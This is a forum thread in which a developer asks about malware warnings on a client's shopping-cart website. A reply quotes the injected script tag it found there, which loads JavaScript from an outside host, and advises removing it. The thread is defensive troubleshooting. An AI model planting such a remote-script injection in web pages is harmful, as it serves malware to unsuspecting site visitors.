Hi all,

I have a client www.onlinekitchen.com.au who is getting heaps of clients reporting that the website is infected with malware and is trying to install it on the visitors sites.

the website is a asp.net commercial content management system with VPASP shopping cart. I have 2 different antivirus software packages on my systems (norton and trend micro) and I do not get any warnings while browsing the site.

I have asked the hosting company to run antivirus on the web folders and used:
http://www.siteadvisor.com/sites/onlinekitchen.com.au

http://linkscanner.explabs.com/linkscanner/checksite.asp?NS=ChkOnly&SRC=apps.ExpLabs.com&CS=h ttp://www.onlinekitchen.com.auand found no errors or warnings...

At the same time I have Acunetix web volnurability scanner running in extensive mode with no warnings!!!
Every day there are new messages from visitors in this regards one of which has stated that the virus is JS.Psyme.

It looks like I am out of options in looking for a solution - please help!
All advice and suggestions are welcome.

Thank you,
Val Saidor

< link drop removed >

Is that actually your signature? It doesn't look like it's below the signature line.

They're telling you the truth. On this page, I got a virus alert. DO NOT CLICK THE LINK BELOW UNLESS YOU'RE PREPARED TO DEAL WITH THIS VIRUS AND ITS CONSEQUENCES:

http://www.onlinekitchen.com.au/vsho...=145&cat=Bamix

<SCRIPT src="http://b.njnk.net/E/J.JS"></SCRIPT>

You need to find that line of code, remove it, and then either find a better shopping cart system or build your own (likely the latter, since most if not all shopping cart systems tend to be exploited more rapidly).

The other thing you'll want to do is clean up a lot of the code that the CMS is generating (a lot of MS-proprietary HTML code is kicking around on your home page, among other places.)

You've got some work ahead of you, dude. Pack a lunchbox.

Great advice - thank you.
I have clicked on hunreds of pages from then website and found no issues and now I know where the @#$%@# is!!!

Once again thank you.

Don't thank me. Thank Avast (one of the two top AV scanners available, and it's legit free).

It must be embarrasing for a $39.00 software to do better then $5,500

Norton don't seem to think so, otherwise they would improve their software quite a lot.